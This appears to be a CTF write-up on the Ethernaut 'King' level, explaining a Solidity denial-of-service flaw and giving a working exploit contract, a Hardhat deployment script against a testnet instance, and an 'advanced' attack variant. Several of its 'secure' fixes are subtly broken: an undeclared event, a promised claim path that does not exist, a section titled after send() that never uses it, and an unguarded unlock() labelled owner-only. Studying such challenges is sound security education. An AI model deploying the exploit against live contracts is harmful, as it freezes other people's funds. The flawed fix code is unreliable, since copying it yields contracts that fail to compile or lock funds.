Skip to content
On this page

Exploiting the King Contract: A Deep Dive into Denial-of-Service Attacks in Ethereum Smart Contracts

Introduction

In the world of blockchain security and Capture The Flag (CTF) challenges, the King contract from Ethernaut presents a fascinating case study in smart contract vulnerabilities. This seemingly simple game demonstrates how subtle design flaws can lead to complete contract paralysis through denial-of-service (DoS) attacks. In this technical deep dive, we'll explore the mechanics of the King contract, analyze its vulnerability, and demonstrate a practical exploit that prevents the contract from functioning as intended.

Understanding the King Contract

Contract Overview

The King contract implements a straightforward "king of the hill" game where participants compete to become the current king by sending more ether than the current prize. The contract's simplicity belies its critical vulnerability, making it an excellent educational tool for understanding smart contract security principles.

Contract Code Analysis

Let's examine the original King contract in detail:

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {
    address king;
    uint256 public prize;
    address public owner;

    constructor() payable {
        owner = msg.sender;
        king = msg.sender;
        prize = msg.value;
    }

    receive() external payable {
        require(msg.value >= prize || msg.sender == owner);
        payable(king).transfer(msg.value);
        king = msg.sender;
        prize = msg.value;
    }

    function _king() public view returns (address) {
        return king;
    }
}

Key Components Explained

  1. State Variables:

    • king: Stores the address of the current king
    • prize: Public variable storing the current minimum bid to become king
    • owner: The contract deployer's address
  2. Constructor:

    • Initializes the contract with the deployer as both owner and first king
    • Sets the initial prize to the ether sent during deployment
  3. Receive Function:

    • The core game logic resides in this fallback function
    • Accepts new bids that meet the minimum prize requirement
    • Transfers the incoming ether to the previous king
    • Updates the king and prize variables

The Vulnerability: A Classic Denial-of-Service Scenario

Understanding the Attack Vector

The critical vulnerability in the King contract lies in its payment mechanism. When a new player becomes king, the contract attempts to transfer ether to the previous king using:

solidity
payable(king).transfer(msg.value);

This seemingly innocent line contains a fatal flaw. The transfer() function in Solidity has a crucial characteristic: it forwards a fixed amount of gas (2300 gas units) to the recipient. If the recipient is a contract that requires more gas to process the transfer, the transaction will fail.

The Self-Proclamation Problem

According to the challenge description: "When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation."

This means that after we become king, the level's automated system will attempt to reclaim the kingship by sending more ether to the contract. However, if we can make this transaction fail, we prevent the level from reclaiming the throne.

Crafting the Exploit: The Hack Contract

Exploit Strategy

Our goal is to create a contract that:

  1. Becomes the king by sending the required prize amount
  2. Cannot receive ether transfers (or makes them fail)
  3. Thereby prevents anyone else from becoming king

The Hack Contract Implementation

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Hack {
    constructor(address payable _target) payable {
        uint prize = King(_target).prize();
        (bool success,) = _target.call{ value: prize }("");
        require(success, "Send to King ETH fail!");
    }
}

Exploit Breakdown

  1. Constructor Execution:

    • The Hack contract is deployed with sufficient ether to meet the prize requirement
    • It queries the current prize from the King contract
    • Sends exactly the prize amount to become the new king
  2. Critical Missing Component:

    • Notice that the Hack contract has no receive() or fallback() function
    • This means it cannot accept ether transfers
  3. The DoS Mechanism:

    • When someone tries to dethrone our Hack contract, the King contract will attempt to transfer ether to it
    • Since Hack has no payable functions, the transfer will fail
    • The entire transaction in the King contract will revert due to the failed transfer

Step-by-Step Attack Execution

Phase 1: Initial Setup and Analysis

Before deploying our exploit, we need to understand the current state of the King contract. Let's examine the testing script:

typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { King, Hack } from "../typechain-types";

describe("King", function () {
  describe("King testnet sepolia", function () {
    it("testnet sepolia King reback failure", async function () {

      const LEVEL_ADDRESS = "0x...";
      const KING_ADDRESS = "0x...";
      const KING_ABI = [
        "function _king() public view returns (address)",
        "function owner() public view returns (address)",
        "function prize() public view returns (uint256)",
      ];

      const challenger = await ethers.getNamedSigner("deployer");
      const kingContract = new ethers.Contract(KING_ADDRESS, KING_ABI, challenger);

      // Initial state verification
      let kingAddress = await kingContract._king();
      expect(kingAddress).to.be.equals(LEVEL_ADDRESS);

      const ETH_INITIAL_AMOUNT = ethers.parseUnits("0.001", 18);
      let prizeValue = await kingContract.prize();
      expect(prizeValue).to.be.equals(ETH_INITIAL_AMOUNT);

      let ownerAddress = await kingContract.owner();
      expect(ownerAddress).to.be.equals(LEVEL_ADDRESS);

Phase 2: Deploying the Exploit

typescript
      // Deploy the Hack contract with sufficient ether
      const HackFactory = await ethers.getContractFactory("Hack");
      const hack = (await HackFactory.deploy(KING_ADDRESS, { 
        value: ETH_INITIAL_AMOUNT 
      })) as Hack;
      
      await hack.waitForDeployment();
      const HACK_ADDRESS = await hack.getAddress();

Phase 3: Verification of Successful Attack

typescript
      // Verify that Hack contract is now the king
      kingAddress = await kingContract._king();
      expect(kingAddress).to.be.equals(HACK_ADDRESS);

      // Verify prize remains unchanged
      prizeValue = await kingContract.prize();
      expect(prizeValue).to.be.equals(ETH_INITIAL_AMOUNT);

      // Verify owner remains the level address
      ownerAddress = await kingContract.owner();
      expect(ownerAddress).to.be.equals(LEVEL_ADDRESS);
    });
  });
});

Technical Deep Dive: Why This Exploit Works

Gas Limitations in Ether Transfers

The core of the vulnerability stems from how Ethereum handles ether transfers to contracts. When using transfer() or send(), only 2300 gas is forwarded to the recipient. This is a security measure to prevent reentrancy attacks, but it creates problems when the recipient needs more gas.

Contract-to-Contract Interaction Patterns

Consider what happens when the level tries to reclaim kingship:

  1. The level sends ether to the King contract
  2. The King contract's receive() function executes
  3. It attempts to transfer ether to the current king (our Hack contract)
  4. The transfer fails because:
    • Hack has no payable functions
    • Even if it did, 2300 gas might be insufficient for any meaningful operations
  5. The entire transaction reverts

The Irreversible State Change

Once our Hack contract becomes king, the King contract enters a permanently stuck state:

solidity
// This line will always fail for subsequent attempts
payable(king).transfer(msg.value);

Since the transfer fails, the transaction reverts, preventing the king and prize variables from being updated. The contract becomes unusable—a perfect denial-of-service condition.

Prevention and Security Best Practices

Secure Pattern 1: Pull Payment Architecture

Instead of pushing payments to recipients, implement a pull mechanism where users withdraw funds themselves:

solidity
contract SecureKing {
    address public king;
    uint256 public prize;
    mapping(address => uint256) public pendingWithdrawals;
    
    receive() external payable {
        require(msg.value >= prize, "Insufficient amount");
        
        // Store payment for previous king to withdraw
        pendingWithdrawals[king] += msg.value;
        
        // Update state
        king = msg.sender;
        prize = msg.value;
    }
    
    function withdraw() external {
        uint256 amount = pendingWithdrawals[msg.sender];
        require(amount > 0, "No funds to withdraw");
        
        pendingWithdrawals[msg.sender] = 0;
        payable(msg.sender).transfer(amount);
    }
}

Secure Pattern 2: Check-Effects-Interactions with Gas Limit Consideration

Implement the Check-Effects-Interactions pattern with proper gas handling:

solidity
contract SecureKingV2 {
    address public king;
    uint256 public prize;
    
    receive() external payable {
        require(msg.value >= prize, "Insufficient amount");
        
        // Store previous king address
        address previousKing = king;
        
        // Update state first (Check-Effects-Interactions pattern)
        king = msg.sender;
        prize = msg.value;
        
        // Send payment with proper gas handling
        (bool success, ) = previousKing.call{value: msg.value, gas: 100000}("");
        
        // If transfer fails, funds remain in contract
        // Previous king can claim them separately
        if (!success) {
            // Log failed transfer for manual recovery
            emit TransferFailed(previousKing, msg.value);
        }
    }
}

Secure Pattern 3: Using Address.send() with Fallback

For maximum compatibility, ensure contracts can receive payments:

solidity
contract ReceivableContract {
    // Minimal receive function that accepts any payment
    receive() external payable {
        // Accept payment without additional logic
    }
    
    // Or implement a proper fallback
    fallback() external payable {
        // Handle unexpected calls
    }
}

Real-World Implications and Similar Vulnerabilities

Historical Context: The King's Ransom

This vulnerability pattern isn't just theoretical. Similar issues have appeared in production contracts, leading to locked funds and paralyzed systems. The King contract demonstrates a fundamental principle: never assume that ether transfers will always succeed.

  1. Reentrancy Attacks: The opposite side of the same coin, where too much gas is provided
  2. Gas Limit DoS: Contracts that become unusable when gas prices fluctuate
  3. Unbounded Operations: Loops that consume unpredictable amounts of gas

Advanced Exploitation Techniques

Multi-Stage Attacks

Sophisticated attackers might combine this vulnerability with other techniques:

solidity
contract AdvancedHack {
    King public target;
    bool public isLocked;
    
    constructor(address payable _target) payable {
        target = King(_target);
        uint prize = target.prize();
        
        // Become king
        (bool success,) = _target.call{value: prize}("");
        require(success, "Failed to become king");
        
        // Lock the contract
        isLocked = true;
    }
    
    receive() external payable {
        // Only accept payments when not locked
        require(!isLocked, "Contract is locked");
        
        // Could implement complex logic here
        // that consumes more than 2300 gas
        complexOperation();
    }
    
    function complexOperation() internal {
        // Expensive operation that would fail with 2300 gas
        for(uint i = 0; i < 100; i++) {
            // Some computation
        }
    }
    
    function unlock() external {
        // Only owner can unlock
        isLocked = false;
    }
}

Front-Running and MEV Considerations

In a real blockchain environment, attackers might use front-running techniques to ensure their exploit transaction gets mined first, preventing others from becoming king before them.

Testing and Verification Strategies

Comprehensive Test Suite

Beyond the basic test shown earlier, security-conscious developers should implement extensive testing:

typescript
describe("King Security Tests", function () {
  it("should prevent DoS attacks", async function () {
    // Test various attack scenarios
    await testContractReceivesEther();
    await testGasConsumption();
    await testReentrancySafety();
  });
  
  it("should handle edge cases", async function () {
    // Test with minimal gas
    await testWithLowGasLimit();
    
    // Test with contract recipients
    await testWithVariousRecipientTypes();
    
    // Test prize overflow scenarios
    await testPrizeOverflow();
  });
});

Formal Verification

For critical contracts, consider formal verification tools:

solidity
// @invariant king != address(0)
// @invariant prize > 0
contract VerifiedKing {
    // Contract with proven properties
}

Conclusion: Lessons Learned

The King contract vulnerability teaches several crucial lessons for smart contract developers:

  1. Always Consider Failure Cases: Never assume external calls will succeed
  2. Implement Pull Over Push: Let users withdraw funds instead of pushing payments
  3. Follow Established Patterns: The Check-Effects-Interactions pattern prevents many vulnerabilities
  4. Test Extensively: Include tests for failure scenarios and edge cases
  5. Consider Gas Implications: Understand how much gas your operations require

The Bigger Picture

This CTF challenge represents more than just a technical puzzle—it embodies a fundamental shift in how we think about system design. In traditional systems, we often assume operations will succeed. In blockchain environments, we must design for failure at every step.

The King contract's simplicity makes it an excellent teaching tool, but the principles it demonstrates apply to complex DeFi protocols, NFT marketplaces, and enterprise blockchain solutions. By understanding and addressing these fundamental vulnerabilities, developers can build more robust, secure, and reliable smart contracts that stand the test of time in the adversarial environment of public blockchains.

Further Reading and Resources

  1. Ethereum Smart Contract Best Practices: https://consensys.github.io/smart-contract-best-practices/
  2. Solidity Documentation: https://docs.soliditylang.org/
  3. OpenZeppelin Contracts: Secure, community-audited contract libraries
  4. Ethernaut: More security challenges and learning resources
  5. Smart Contract Security Verification Standard: Industry-standard security checklist

By mastering these concepts and applying secure development practices, you'll be well-equipped to identify and prevent similar vulnerabilities in your own smart contract projects.

Built with AiAda